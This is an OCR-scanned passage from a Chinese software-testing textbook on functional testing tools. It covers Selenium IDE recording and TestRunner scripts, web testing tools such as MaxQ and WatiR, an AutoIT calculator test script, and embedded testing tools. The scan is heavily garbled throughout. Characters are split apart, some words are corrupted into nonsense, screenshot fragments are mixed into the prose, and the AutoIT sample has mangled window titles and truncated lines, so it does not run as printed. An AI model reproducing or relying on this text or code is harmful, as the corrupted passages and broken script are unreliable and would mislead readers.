。 跨 平台 ,支持 多 操作 系统 (Windows，Mac OS 和 Linux) 和 各 种 浏览 器 Internet 
Explorer,Mozilla 和 Firefox, 
。 支持 分 布 式 应 用 的 测试 ,构造 一 个 完整 的 解决 方案 ,包括 控制 器 .远程 测试 机 等 。 
。 支持 两 种 开发 脚本 的 模式 test runner (HTML 文件 ) 和 driven( 脚 本 语言 编写 ) ,使 
测试 既 可 以 完全 在 浏览 器 内 运行 ,也 可 以 脱离 浏览 器 ,在 远程 机 器 上 运行 。 
。 支持 多 种 脚本 语言 ,包括 Java、C# .PHP、Perl、Python 和 Ruby 等 。 
首先 测试 人 员 可 以 通过 Selenium IDE 亲自 进行 一 个 简单 的 测试 过 程 来 理解 自动 化 功 
能 测试 的 过 程 及 其 特点 。 用 Firefox 直接 从 http://seleniumhq. org/projects/ide/ 下 载 
Selenium IDE, 下 载 完 了 ,浏览 器 会 自动 提示 安装 , 单 击 立 即 安装 ”按钮 就 能 完成 安装 。 安 
装 成 功 后 ,重启 Firefox, “工具 ”菜单 下 会 出 现 Selenium IDE, "ii Selenium IDE, 启 动 
Selenium IDE, 出 现 主 界面 ,可 以 展开 左边 测试 用 例 (test case) 列 表 窗 口 ,默认 是 不 展开 的 ， 
展开 后 的 界面 如 图 11-8 所 示 ,包括 : 
。 基准 网 页 地 址 (Base URL) ,被 测试 网 站 的 主 地 址 ; 
。 脚本 窗口 , 即 显示 某 个 测试 用 例 的 脚本 ; 
。 命令 (Command/Target/Value) 显 示 和 编辑 的 窗口 (脚本 窗口 下 面 ); 
。 最 底下 的 窗口 是 运行 日 志和 命令 参考 窗口 。 
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运行 日 志 、 参 考 跟踪 窗口 


图 11-8 Selenium IDE 的 界面 


1. 录制 测试 脚本 

打开 Selenium IDE, 默 认 就 处 在 录制 状态 ,如 果 不 是 ,就 单 击 录 制 操作 按钮 夸 . 用 
Firefox 打开 Google 首页 www. google. cn( 这 也 作为 Base URL) ,输入 “用 Selenium 进行 自 
动 化 测试 ”, 单 击 “Google 搜索 ”按钮 ,进入 搜索 结果 页 面 ,然后 选择 搜索 结果 页 面 中 的 “搜索 
软件 测试 方法 和 技术 获得 约 ”后 的 值 *8,960,000”, 右 击 ,如 图 11-9 所 示 , 选 择 倒数 第 3 项 
“verifyTextPresnt 8,960,000”, 即 验证 搜索 数量 “8,960,000? 在 搜索 结果 中 出 现 。 
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图 11-9 对 搜索 结果 进行 验证 操作 界面 


同样 ,选择 “0. 30 秒 ” 进 行 验证 。 测 试 本 身 就 是 验证 的 过 程 ,通过 期 望 结 果 和 实际 结果 
比较 ,才能 判断 是 否 会 出 现 缺 陷 。 然 后 单 击 
Selenium IDE 的 按钮 因 .结束 录制 。 录制 的 


Selenium IDE * 


Eile Edit Options Help 


脚本 可 以 在 “脚本 窗口 "浏览 。 bee wt [ea 
2, 执行 测试 脚本 = Pas 
完成 了 脚本 录制 ,就 可 以 执行 脚本 (也 称 ES 一 ee 
脚本 回放 )。 先 将 回放 速度 调整 得 慢 些 ,从 而 f ine tee Ee 
使 执行 过 程 看 得 更 清楚 些 , 即 将 Ge] [icant se 


中 绿色 浮标 向 slow 移动 。 然 后 , 单 击 按钮 || pig em 
DS ,就 开始 执行 脚本 ,就 会 看 到 浏览 器 自动 打 


| |verifyTextPresent 0.30 秒 


FF www. google. cn 的 首页 ,自动 输入 “软件 测 图 
试 方法 和 技术 ”, 搜 索 结 果 页 面 很 快 显示 出 来 ， ; Ca 
脚本 执行 结束 。 =a 

3. 测试 结果 Log Reference VI-Elenent Rollup Infor Clear 


| [info] Executing: |verifyTextPresent | 8,960,000 |]  ® 
运行 结果 如 图 11-10 所 示 , 从 中 可 以 看 出 ， | [info] Executing: |verifyTextPresent | 0.30 秒 11 


[error] false ~ 
前 面 两 个 验证 通过 ,包括 assertTitle 判断 窗口 
是 否 存在 , 显示 为 绿色 ,而 第 3 个 验证 图 11-10 运行 结果 界面 


“verifyTextPresent 0. 30 秒 ” 失 败 , 显 示 为 红色 。 为 什么 失败 呢 ? AA Google 每 次 搜索 用 
时 是 不 一 样 的 ,再 次 执行 脚本 的 时 候 , 用 时 只 要 0. 11 秒 , 会 显示 “搜索 用 时 0. 11 秒 ”, 导 致 第 
3 个 验证 失败 。 查 日 志 (Log) ,可 以 看 到 红色 的 信息 “[error] false”, 说 明 验 证 失败 。 

从 Firefox 中 打开 Selenium IDE, 单 击 工 具 栏 中 国 按 钮 (Play with Selenium 
TestRunner) ,IDE 就 将 TestRunner 运行 起 来 ,如 图 11-11 所 示 。 其 中 上 面 有 左 、 中 、 碳 三 个 
窗口 ,分别 为 测试 套件 (Test Suite) 、 当 前 测试 (Current Test) ,控制 面板 (Control Panel); 
下 面具 有 一 个 窗口 ,为 测试 执行 页 面 显示 区 域 (Execution Area)。 
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图 11-11 Selenium TestRunner 的 运行 界面 


当 单 击 控制 面板 的 执行 按钮 DE 时 ,执行 过 程 结果 就 会 在 下 部 Execution Area 中 显示 ， 
其 最 终 测试 结果 ,会 显示 在 控制 面板 中 ,如 图 11-12 所 示 。 如 果 仔 细 看 图 11-12 中 URL 的 
地 方 ,其 地 址 已 经 变 为 : 
chrome://selenium - ide - testrunner/content/selenium/TestRunner. html? test = /content/ 
PlayerTestSuite. html&userExtensionsURL = &baseUrl = 
其 中 “http://” 变 为 “chrome://”, 以 调用 TestRunner 功能 ,而 且 包含 其 他 参数 : test、 
userExtensionsURL 和 baseUrl 等 。 通 过 修改 参数 ,来 适应 实际 应 用 的 测试 需求 。 更 多 的 
参数 ,请 参考 http://seleniumhq. org/documentation/core/usage. html. 
4. Selenium test runner 脚本 
Selenium test runner 脚本 ,就 是 用 HTML 语言 中 简单 的 表格 格式 来 编写 的 测试 用 例 ， 
所 以 test runner 脚本 不 仅 易于 阅读 ,也 易于 编写 。Selenium 脚本 的 开发 也 是 比较 灵活 的 ， 
不 仅 提 供 了 几 百 个 命令 ,而 且 也 可 以 在 脚本 中 引用 其 他 文件 (类 似 于 C 语言 的 头 文件 ) ,如 
表 11-2 第 1 行 的 Include 的 使 用 ; 还 可 以 使 用 变量 ,如 表 11-2 中 的 $ {Site_URL)、 
$ {userName} 和 $ {password} ,这 可 以 解决 测试 输入 数据 问题 。 例 如 用 户 名 和 口令 就 不 需 
要 放 在 脚本 中 ,而 是 单独 存 人 一 个 文件 中 ,如 表 11-3 所 示 。 
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搜索 软件 测试 方法 和 技术 获得 的 8,960,000 条 结果 ， 以 下 是 第 1-10 条 。 【用 时 0.11 秒 ) 
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图 11-12 Selenium TestRunner 运行 结果 的 显示 


# 11-2 Selenium 测试 脚本 (引用 文件 和 变量 ) 


Command/ Assertion Target Value 
include ./../ common/Set Variable. html 

open $ {Site URL} 

pause 2000 

selectWindow Header 

waitForTextPresent Logon 


click 


//alcontains(@ href. 


‘javascript: Logon() ;') J 


select Window mainFrame 
waitForTextPresent userName 
type userName $ {userName} 
type Password $ {password} 
clickAndWait //input[@ name= 'Submit'] 
verifyTextPresent Logon Success 
# 11-3 common/SetVariable. html 的 内 容 
设置 变量 的 值 (Set variable) 

storeGlobal cn. calendar, yahoo, com siteURL 

echo $ {siteURL} 

storeGlobal testuser userName 

storeGlobal 1234567 password 


5. Selenium 驱动 模式 脚本 


Selenium 驱动 模式 脚本 支持 多 种 编程 语言 ,在 浏览 器 之 外 的 一 


个 单独 的 进程 中 运行 。 


Driven 脚本 比 test runner 脚本 更 强大 、 更 灵活 ,可 以 与 xUnit 框架 集成 ,但 是 Driven 脚本 
编写 和 部 署 相对 复杂 ,需要 经 过 下 列 过 程 : 

(1) 启动 服务 器 ,并 部 署 被 测试 的 应 用 程序 (AUT) 。 

D 部 署 测试 脚本 。 

(3) 启动 浏览 器 ,发 送 命令 到 Browser bot. 

(4) 验证 browser bot 执行 命令 的 结果 。 

Driven 脚本 更 依赖 于 应 用 程序 运行 的 环境 。 例 如 ,Java 驱动 程序 使 用 一 个 嵌入 式 
Jetty 或 Tomcat 实例 来 部 署 所 测试 的 应 用 程序 。Browser bot 就 是 Selenium Core, 负 责 执 
行 从 测试 脚本 接收 到 的 命令 ,而 驱动 程序 与 browser bot 之 间 的 通信 使 用 一 种 简单 的 、 特 定 
的 连接 语言 Selenium 。 

6. Selenium 测试 用 例 开发 

测试 用 例 开发 涉及 4 类 文件 ,除了 引擎 库 以 外 ,其 他 3 类 文件 都 是 可 以 根据 具体 情况 去 
修改 的 。 

A) 主 文件 ，TestRunner. html/TestRunner. hta (. hta 文件 是 html application, Windows 
平台 特有 )。 

(2) Test suite( 测 试 套件 ) 和 Test case( 测 试用 例 ) 文 件 , 通 过 以 表格 为 基础 的 html 文 
件 来 实现 ; 测试 套件 用 于 将 具有 类 似 功 能 的 一 些 测 试用 例 编 成 一 组 ,以 便 能 按 顺序 执行 一 
系列 的 测试 用 例 。 

(3) 引擎 库 js 文件 : 位 于 Selenium 根 目录 下 的 核心 文件 ,其 中 html-xpath 目录 下 的 那 
个 文件 一 一 所 需 的 库 文件 。 

(4) user-extensions. js: 用 来 扩展 Selenium 的 文件 ; 用 户 自 定义 的 函数 和 扩展 的 命令 
都 应 该 放 在 这 个 文件 中 。 

Selenium 部 署 完 毕 后 ,可 以 通过 浏览 器 URL 来 访问 TestRunner. html 文件 。 由 
TestRunner. html 调用 相应 目录 下 的 测试 套件 TestSuite. html。 测 试 套件 也 是 HTML 
格式 的 表 , 表 中 的 每 一 行 指 向 一 个 包含 某 个 测试 用 例 的 文件 。 再 由 TestSuite. html 调用 相 
应 的 测试 用 例 ( 测 试 脚 本 ) 执 行 测试 。 测 试 人 员 可 以 修改 TestSuite. html 文件 ,让 其 指向 自 
己 开 发 的 Test case html 文件 ,如 表 11-4 所 示 , 定 义 全 局 变量 的 setVariablel. html 和 两 个 
测试 用 例 的 文件 login. html 和 logout. html. 


表 11-4 测试 套件 的 HTML 文件 示例 


选择 名 B 对 应 的 测试 用 例 脚 本 文件 
区 SetVariable ../../ common/SetVariable. html 
区 login .. /module/login/login. html 
区 logout .. /module/login/logout. html 


11.4.3 Web 功能 测试 工具 


现在 Web 应 用 非常 广泛 ,除了 Selenium 之 外 ,还 有 比较 多 的 功能 测试 工具 ,包括 链接 
检查 .HTML 检查 、Web 功能 等 方面 的 测试 。Web 功能 测试 工具 ,包括 开源 的 测试 工具 和 


商业 的 测试 工具 。 

1. 开源 的 Web 功能 测试 工具 
MaxQ(http://maxq. tigris. org/) 是 Web 功能 测试 工具 ,包括 记录 测试 脚本 的 
HTTP 代理 和 用 于 回放 测试 的 命令 行 实用 程序 。 所 不 同 的 是 , 它 不 是 对 GUI 操作 
的 模拟 ,而 是 绕 过 用 户 界面 ,采用 Web Proxy 代理 方式 ,获得 浏览 器 提交 的 请 求 数 
据 包 ,直接 转发 给 服务 器 ,这 样 测试 速度 快 而 且 稳 定 , 如 图 11-13 所 示 。 


向 MaxQ 向 服务 器 
发 出 请 求 - 发 出 请 求 
wenig k a Magas = Web 服 务 器 
对 浏览 器 响应 “| Proxy( 代 理 )| 对 MaxQ 响 应 
录制 Python 脚本 
MaxQ Runs 充 当 浏 览 器 向 服务 器 
发 出 请 求 
图 11-13 MaxQ 运行 机 制 示意 图 


Canoo WebTest(http://webtest. canoo. com/) 的 测试 脚本 是 基于 XML 格式 的 , 易 
用 ,具有 更 好 的 扩展 性 。 
Slimdog 是 基于 脚本 的 Web 应 用 程序 测试 工具 ,在 httpUnit 基础 上 进行 扩展 而 形 
成 的 。 但 用 户 无 须 写 复杂 的 JUnit test cases 或 XML 文件 来 进行 测试 ,用 户 只 需 写 
语法 简单 的 测试 脚本 (每 一 行 就 是 包含 一 条 命令 的 一 个 测试 节点 ) 。 
WatiR(Web Application Testing in Ruby) 是 使 用 Ruby 实现 的 开源 Web 自动 化 测 
试 框架 ,小 巧 灵 活 , 提 供 了 对 多 种 常见 Web 对 象 的 识别 和 操作 的 支持 ,例如 
Hyperlinks 的 单 击 、Checkboxes 的 选中 和 清除 .Radio Buttons 的 选中 和 清除 、 下 拉 
框 和 列表 框 的 选择 、 文 本 框 的 输入 、 各 种 按钮 的 单 击 以 及 Frame 的 访问 、 弹 出 窗口 
的 控制 等 。 
e WatiN(Web Application Testing in. NET) 是 一 个 源 自 WatiR 的 工具 ,使 用 C# 实 
现 的 .用 于 测试 . Net 的 Web 应 用 。 
e WatiJ(Web Application Testing in Java) 是 基于 WatiR 的 纯 Java API 用 于 Web 应 
用 程序 自动 测试 工具 ,可 以 和 Eclipse 开发 平台 集成 在 一 起 。 
。 Fit 作为 一 个 基于 wiki 思想 的 Web 测试 框架 ,所 以 FitNesse 的 网 站 才 这 样 对 Fit 进 
行 概括 性 描述 一 一 FitNesse is an HTML and wiki "front-end" to Fit, Fit 借助 
WatiN 之 类 的 HTTP 测试 工具 ,完成 验收 测试 。 
2. 商业 的 Web 功能 测试 工具 
(1) Parasoft WebKing, 支 持 Windows 2000/XP/Server 2003,Linux 和 Solaris 等 多 种 
平台 ,涵盖 功能 和 回归 测试 套件 的 创建 ,执行 和 管理 等 ,并 能 很 好 支持 AJAX 开发 模式 , 完 
成 对 AJAX 应 用 的 测试 。 自 动 测 试 每 一 个 静态 和 动态 网 页 ,检查 动态 网 站 中 所 有 可 能 的 路 
径 , 帮 助 建立 自动 监视 动态 页 面 内 容 的 规则 ,并 发 现 其 中 的 构造 错误 和 其 他 问题 。 同 时 完成 


HTML,CSS 和 JavaScript 编码 标准 检查 ,还 检查 所 有 的 链接 检查 中 断 的 链 和 孤立 的 文件 ， 
记录 有 关 网 站 使 用 的 各 类 文件 的 统计 信息 。 借 助 网 盒 测试 (Web-box testing) 技 术 , 能 自动 
化 修改 编译、 分 发 和 测试 网 站 等 生命 周期 活动 ,帮助 建设 一 个 建立 ,发布 和 测试 每 个 程序 或 
脚本 语言 的 基础 结构 。 当 每 次 修改 网 站 时 ,WebKing 能 够 自动 执行 回归 测试 。 

(2) Parasoft SOAPtest, SOAPtest 使 服务 的 功能 测试 很 容易 实现 , 它 通过 来 源 于 
WSDL 文档 中 自动 创建 的 测试 套件 ,完成 测试 的 执行 。 用 于 服务 功能 的 测试 套件 同样 适用 
于 负载 测试 ,不 但 可 以 测试 服务 对 并 发 请 求 的 响应 ,而 且 可 以 确认 测试 负载 是 否 导致 产生 功 
能 上 的 问题 。 可 以 让 SOAPtest 效仿 服务 组 件 ,接受 客户 发 送 的 适当 请 求 和 处 理 服务 器 返 
回 的 响应 。 可 以 用 SOAPtest 当 作 一 个 代理 服务 器 ,显示 Web 服务 器 和 客户 之 间 的 消息 。 
使 用 XSLT 到 SOAP 消息 实现 客户 端 和 服务 器 端正 确 的 事务 处 理 , 彻 底 了 解 SOAP 协议 和 
Web 服务 方面 的 问题 。 

(3) Web 站 点 质量 分 析 工 具 , 如 Compuware 公司 的 WebCheck, 能 自动 扫描 Web 站 
点 ,进行 链接 检查 ,质量 分 析 等 ,可 以 发 现 多 达 50 类 的 各 种 Web 问题 。 


11.4.4 AutoIT 及 其 客户 端 测试 工具 


先 通过 工具 AutolT 来 完成 一 个 Windows 客户 端的 测试 程序 ,了 解 客户 端的 测试 程序 
特征 ,然后 介绍 其 他 类 似 的 客户 端 测试 工具 。 
1. AutoIT 应 用 


AutolT (http://www. autoitscript. com/) 适 合 Windows 客户 端的 功能 测试 工具 ,能 够 
模拟 按键 组 合 、 鼠 标 动 作 , 识 别 和 操纵 Windows 窗口 和 进程 ,与 所 有 标准 Windows 控件 交 
互 , 从 而 实现 Windows 的 测试 自动 化 。 采 用 类 似 于 VBScript 和 BASIC 的 脚本 语言 ,同时 
支持 更 加 复杂 的 表达 式 ( 包 括 正则 表达 式 ) ,用 户 函 数 、 直 接 调用 外 部 DLL 和 Windows API 
的 函数 ,脚本 可 编译 成 独立 运行 的 可 执行 文件 。 

AutolT( www. autoitscript. com) 安 装 后 ,主要 程序 及 其 功能 说 明 , 如 表 11-5 所 示 。 

表 11-5 ”AutoIT 主要 程序 及 其 功能 说 明 


文件 与 目录 详细 信息 
Autolt3. exe 主 程序 ,可 以 解释 运行 UniCode 版 本 的 脚本 文件 
Autolt3A, exe 主 程序 ,可 以 解释 运行 ANSI 版 本 的 脚本 文件 
AU3Info. exe Autolt 窗口 信息 工具 (Autolt Window Info Tool) ,识别 GUI 对象 
Aut2Exe/Aut2ExeA. exe | 用 于 将 au3 脚本 (UniCode/ANSI 版 本 ) 编 译 成 EXE 可 执行 文件 
Include 官方 提供 的 库 文件 ,提供 开发 脚本 时 所 需 的 各 种 函数 
hunt 可 以 被 嵌入 到 其 他 工具 和 语言 中 去 ,包含 DLL 版 本 的 Autolt v3 以 及 
ActiveX/COM 和 DLL 界面 
SciTe AutolT 的 脚本 编辑 器 


AutolT 应 用 过 程 可 以 概括 为 下 面 几 个 步骤 : 
O) 借助 窗口 信息 工具 识别 被 测试 软件 的 窗口 .控件 等 ,如 图 11-14 所 示 。 
(2) 通过 AutolT 提供 的 函数 来 操作 窗口 和 控件 ,常用 的 命令 有 WinActivate、 


WinMove, WinClose、 ControlFocus、 ControlClick, ControlCommand、 ControlSend、 


© hutoIt v3 窗口 信息 工具 
XPO 选项 @) HW 
基本 窗口 信息 
计算 器 


图 11-14 识别 窗口 和 控件 的 方法 


MouseClick,MouseClickDrag 等 。 例 如 : 
ControlClick(" 计 算 器 "，""，"[CLRSS:Button; TEXT:"CE"; INSTANCE:82]") 


(3) 然后 ,增加 验证 点 ,来 检验 是 否 获得 期 望 的 结果 。 验 证 函数 有 WinGetPos、 
WinGetState ,WinExists „WinGetTitle ,WinGetText ,ControlGetPos, FileExists, FileGetSize 等 。 
下 面 给 出 对 计算 器 进行 测试 的 一 个 脚本 示例 : 


IE WinExists(" 计 算 器 ") == 0 Then 
Run("calc. exe") 
Endif 
WinWaitActive(" 计 算 器 ") 
ControlClick("it 9 #","","1") 
ControlClick("it# #8", 
ControlClick("it # #", 
ControlClick("i+# #8", 
$ Result = ControlGetText ("if 9 #8","", 403) 
sleep(1000) 
If $ Result == "3. " Then 
FileWriteLine("c:\result. txt", "正确 : 和 期 望 结果 3 一致 ") 
Else 
FileWriteLine("c:\result. txt", "错误 : 和 期 望 结果 3 不一致 , 实际 计算 结果 为 " & $ Result) 
EndIf 
ControlClick(" 计 算 器 ",""," CE") 
If $ Result <>"0. " Then 
FileWriteLine("c:\result. txt", "错误 : 没有 清 零 ") 
EndIf 
sleep(1000) 
WinClose(" 计 算 器 ") 


2. 其 他 开源 的 功能 测试 工具 

Twist (http://studios. thoughtworks. com/twist) 是 新 一 代 协 作 功 能 测试 平台 ,为 
测试 的 评审 .执行 和 维护 提供 了 丰富 的 环境 支持 ,可 以 为 开发 团队 的 各 个 角色 服务 。 
AutoHotKey(http://ahkbbs. cn/Help/) 是 Windows 平台 下 开放 源 代 码 的 热 键 脚 
本 语言 ,包括 可 以 记录 键盘 和 鼠标 的 任何 操作 ,创建 自 定义 的 数据 输入 表格 .用户 界 
面 和 菜单 栏 ,并 能 将 任何 的 脚本 转换 为 EXE 文件 等 。 

Abbot 是 Java 客户 端 功 能 测试 工具 ,可 基于 XML/Java 实施 用 户 界面 测试 的 脚本 。 
详 见 http://abbot. sourceforge. net/doc/overview. shtml, 

Squish(http://squish. froglogic. com) 是 跨 平台 (Windows/Linux/Mac) 的 ,专业 的 
功能 测试 工具 ,具有 很 强 的 自动 建立 和 执行 GUI 测试 的 功能 。 支 持 Java SWT/ 
RCP 和 AWT/Swing ( 富 客户 端 ) 应 用 、Web 2. 0/Ajax 应 用 、Mac OS X Carbon/ 
Cocoa 应 用 和 其 他 类 型 的 应 用 。 

STAF(Software Testing Automation Framework) 是 一 个 由 Python 和 XML 构建 
的 ,支持 多 平台 和 多 语言 的 功能 测试 框架 ,包含 了 许多 可 重用 组 件 ,如 图 形 化 监控 、 
执行 引擎 .过程 调用 和 资源 管理 等 。 

其 他 开源 功能 测试 工具 ,如 Sahi, WebInject ,Tagit Solex, Imprimatur, Link Sleuth 
等 , 详 见 http://www. opensourcetesting. org/functional. php. 

3. 商业 的 功能 测试 工具 

除了 前 面 介绍 的 HP QTP, 还 有 一 些 比较 常用 的 商业 工具 。 

(1) IBM Rational Robot 属于 比较 经 典 的 .通用 的 测试 工具 ,不 仅 用 于 功能 测试 ,还 可 
用 于 负载 测试 和 性 能 测试 ,虽然 支持 Web 和 Java 应 用 ,但 更 适合 Windows 客户 端 软件 的 
测试 ,其 中 一 个 显著 特点 是 支持 分 布 式 (协同 系统 ) 应 用 。 使 用 SQABasic 作为 脚本 语言 。 

(2) IBM Rational Functional Tester 是 Robot 的 Java 实现 版 本 ,被 移植 到 了 Eclipse 平 
台 , 完 全 支持 Java 和 . net 的 应 用 程序 的 测试 ,脚本 语言 支持 VB. net 和 Java. 

(3) Compuware Test Partner 是 为 测试 基于 Windows Java 和 Web 技术 的 复杂 应 用 而 
设计 的 ,可 以 使 用 可 视 的 脚本 编制 和 自动 向 导 来 生成 可 重复 的 测试 ,用 户 可 以 调用 VBA 的 
所 有 功能 ,并 进行 任何 水 平 层 次 和 细节 的 测试 。 其 脚本 开发 采用 通用 的 、 分 层 的 方式 来 进 
行 ,而 每 一 个 测试 可 以 被 展示 为 树 状 结构 ,以 清楚 地 显现 测试 通过 应 用 的 路 径 。 

(4) Segue SilkTest 是 面向 各 种 应 用 系统 的 功能 测试 工具 ,提供 了 用 于 测试 的 创建 和 定 
制 的 工作 流 设 置 .测试 计划 和 管理 ,直接 的 数据 库 访 问 及 校 验 等 功能 ,使 用 户 能 够 高 效率 地 
进行 软件 自动 化 测试 。 在 测试 脚本 的 生成 过 程 中 ,SilkTest 通过 动态 录制 技术 ,录制 用 户 的 
操作 过 程 , 快 速生 成 测试 脚本 。 

(5) AdventNet QEngine 是 一 个 独立 于 平台 的 、 通 用 的 测试 工具 ,可 用 于 Web 功能 和 
性 能 测试 Java 应 用 功能 测试 和 性 能 测试 .SOAP 测试 等 。 

(6) Oracle Empirix e-Test Suite 是 一 套 简 单 易 用 的 网 站 测试 工具 ,包括 了 3 个 主要 工 
H: e-TESTER,e- LOAD 和 eMONITOR ,分 别 实施 功能 测试 .负载 测试 和 性 能 监控 。 每 个 
工具 可 以 独立 使 用 ,也 可 以 协同 使 用 。 其 中 , Web 应 用 程序 性 能 监控 工具 onesight 能 够 针 
对 Web 系统 内 部 及 外 部 元 素 进 行 监控 ,收集 网 络 信息 情况 和 错误 信息 并 生成 可 用 情况 地 图 


以 显示 一 个 网 络 及 其 服务 哪些 是 正常 的 ,从 而 探测 性 能 降低 的 原因 。 而 网 络 分 析 工 具 
hammer call analyzer 能 够 使 用 户 看 得 见 在 voip 网 络 中 信号 和 语音 的 品质 问题 ,为 任何 的 呼 
叫 显 示 波 形 和 流 的 品质 签名 ,可 以 发 现 通信 交换 设备 间 出 现 的 问题 。 


11.4.5 嵌入 式 测试 工 具 


嵌入 式 系统 软件 的 测试 相对 困难 ,因为 它 的 开发 是 用 交叉 编译 方式 进行 的 。 在 目标 机 
(Target) 上 ,不 可 能 有 多 余 的 空间 记录 测试 的 信息 ,必须 实时 地 将 测试 信息 通过 网 线 /串口 
传 到 宿主 机 (Host) 上 ,并 实时 在 线 地 显示 。 因 此 ,对 源 代 码 的 插 装 和 目标 机 上 的 信息 收集 
与 回 传 成 为 嵌入 式 测 试 工具 要 解决 的 关键 问题 。 

(1) CodeTest 是 Applied Microsystems 公司 的 产品 ,是 广泛 应 用 的 典 入 式 软 件 在 线 测 
试 工具 。CodeTest 为 追踪 嵌入 式 应 用 程序 .分 析 软 件 性 能 、 测 试 软件 的 覆盖 率 以 及 存储 体 
的 动态 分 配 等 提供 了 一 个 实时 在 线 的 高 效率 解决 方案 。CodeTest 能 够 同时 对 多 达 32 000 
个 函数 进行 非 采样 性 测试 ,精确 计算 出 每 个 函数 或 任务 (基于 RTOS 下 ) 的 执行 时 间或 间 
隔 ,并 能 够 列 出 其 最 大 和 最 小 的 执行 时 间 。CodeTest 还 可 以 按 源 程序 、 控 制 流 以 及 高 级 模 
SUK GEL BR HR ARK PE Hee UE Be VA RE AT GK 150 万 条 源 程序 。CodeTest 还 是 一 个 可 共享 的 网 
络 工具 ,支持 所 有 的 32/16 位 CPU 和 MCU ,支持 总 线 频率 高 达 100MHz, 可 通过 PCI/ 
VME 总 线 ,MICTOR 插头 对 嵌入 式 系统 进行 在 线 测 试 , 无 须 改 动用 户 的 PCB, 与 用 户 系统 
的 连接 方便 。 

(2) 英国 LDRA 公司 的 Testbed 提供 包括 编码 规则 检查 在 内 的 静态 分 析 和 动态 分 析 功 
能 ,可 以 直接 进行 测试 结果 验证 和 覆盖 率 度量 。 用 户 可 以 选择 编程 规则 的 最 大 的 集合 ,也 可 
以 配置 用 户 自己 的 规则 集合 ,或 使 用 行业 认可 的 标准 ,例如 MISRA C/MISRA-C:2004, AV 
C++ EADS C/C++ 、HC++ 等 ,从 而 快速 识别 出 违反 规则 的 代码 并 帮助 开发 人 员 快 速 地 进行 
修正 。 提 高 设计 、 代 码 评审 的 自动 化 程度 ,例如 ,对 所 有 过 程 的 参数 以 及 函数 的 全 局 变量 和 
返回 值 进行 全 面 分 析 ,提供 详细 的 .彩色 的 函数 调用 关系 图 和 程序 控制 流程 图 ,以 可 视 化 的 
方式 了 解 系统 的 复杂 性 ,并 自动 生成 报告 ,提供 软件 质量 文档 。Testbed 还 能 够 自动 生成 测 
试 驱动 而 不 需 添加 脚本 , 随 着 源 代码 的 改变 ,对 需要 修改 的 测试 数据 进行 跟踪 和 报告 。 

(3) RTInsightPro 充分 考虑 到 财 入 式 软件 实时 性 特点 ,结合 使 用 LDRA 公司 静态 分 析 
与 代码 自动 插 装 技术 ,可 成 功用 于 实时 骨 入 式 系统 集成 与 系统 测试 ,提供 代码 覆盖 率 分 析 、 
函数 性 能 分 析 内 存 泄 露 分 析 ,变量 监控 .堆栈 监控 及 系统 跟踪 等 功能 。 采 用 RTInsightPro 
高 速 虚 拟 端口 技术 使 得 代码 插 装 量 可 控制 在 每 个 特征 点 ( 即 函 数 入 口 .出 口 ,程序 分 支点 ) 一 
到 两 条 指令 或 语句 (代码 增加 量 可 控制 在 10% 之 内 ) ,大 大 减少 插 装 代码 增加 对 被 测 系统 的 
影响 。 

(4) IBM Rational Test RealTime(RTRT) 帮 助 开 发 人 员 创 建 测试 脚本 ,执行 测试 用 例 
和 生成 测试 报告 ,包括 代码 覆盖 分 析 报告 内存 分 析 报 告 、 性 能 分 析 报 告 和 执行 追踪 报告 。 
而 且 , 它 提供 对 被 测 代码 进行 静态 分 析 和 和 运行 时 分 析 功 能 ,使 嵌入 式 测 试 实现 一 体 化 的 集 
成 。Test RealTime 通过 分 析 源 代码 ,自动 生成 测试 驱动 (Test Driver) 和 桩 (Test Stub) 模 
板 , 通 过 Target Deployment Port 技术 同时 支持 开发 机 和 目标 机 的 测试 。 

(5) Logiscope 是 TeleLogic 公司 的 工具 套件 ,贯穿 于 软件 开发 .代码 评审 .单元 /集成 测 
试 、 系 统 测试 以 及 软件 维护 阶段 ,重点 是 帮助 代码 评审 和 动态 覆盖 测试 。 包 括 对 指令 (1B)、 


逻辑 路 径 (DDP) 和 调用 路 径 (PPP) 的 覆盖 测试 。 此 外 对 安全 -关键 软件 还 提供 了 MC/DC 
的 覆盖 测试 。Logiscope 支持 各 种 实时 操作 系统 (如 VxWorks .pSOS 、VRTX 等 ) 上 应 用 程 
序 的 测试 ,也 支持 逻辑 系统 的 测试 。 

(6) VectorCAST fit Ast C++(EC++) 源 代码 ,自动 生成 测试 代码 来 为 主机 和 谍 人 
式 环境 构造 可 执行 的 测试 架构 。VectorCAST 测试 系统 由 环境 生成 器 ,测试 用 例 生成 器 、 运 
行 控制 器 、 报 告 生成 器 动态 分 析 器 和 静态 分 析 器 等 组 件 组 成 。 使 用 VectorCAST 测试 系 
统 ,可 以 保持 经 常 更 新 部 件 仿真 模型 。 

(7) GammaRay 系列 产品 主要 包括 软件 逻辑 分 析 仪 GalnmaPfiler、 可 靠 性 评测 工具 
GammaRET 等 。 

(8) LynxInsuret+ 是 Lynx Real-Timesystems 公司 的 产品 ,基于 LynxOS 的 应 用 代码 
检测 与 分 析 测 试 工具 ,包括 3 个 工具 : 

。 源码 检测 工具 Insure++ 可 检查 初级 错误 .API 应 用 中 的 类 型 和 参数 错误 、 指 针 和 数 

组 错误 .字符 串 操 作 错误 ; 

。 内存 检测 工具 Inuse, 可 查找 内 存 漏 洞 .检查 动态 内 存 的 分 配 等 ; 

。 程序 的 覆盖 度量 工具 TCA ,可 提供 完全 的 覆盖 报告 。 

(9) MessageMaster 是 ElviorLtd 公司 的 产品 ,是 测试 租 入 式 软 件 系 统 工具 ,向 环境 提 
供 基 于 消息 的 接口 。 

(10) VeTester 由 国内 公司 自主 研发 ,服务 于 嵌入 式 白 盒 测 试 领域 的 测试 工具 ,使 用 
CSE 脚本 语言 编写 测试 用 例 , 有 效 实施 针对 C 语言 的 单元 测试 、 集 成 测试 与 协议 测试 ,而 
且 , 可 以 进行 持续 在 线 的 测试 ,包括 在 线 设计 用 例 、 运 行 用例 , 并 根据 测试 结果 改进 或 添加 用 
fi], VeTester 配合 VC 中 的 调试 程序 ,可 支持 目标 代码 设置 断 点 . 单 步调 试 。 


11.5 性 能 测试 工具 


对 于 数据 库 `Web 访问 、 视 频 点 播 等 各 种 应 用 系统 ,通过 了 单元 测试 .集成 测试 .功能 测 
试 之 后 ,用 户 还 常会 有 些 疑 问 , 如 这 套 系 统 能 不 能 承受 大 量 的 并 发 用 户 同时 访问 ?到 底 能 承 
受 多 少 个 用 户 同时 访问 而 没有 问题 ?如 果 同 时 有 一 万 个 用 户 在 10 分 钟 内 访问 服务 器 会 不 
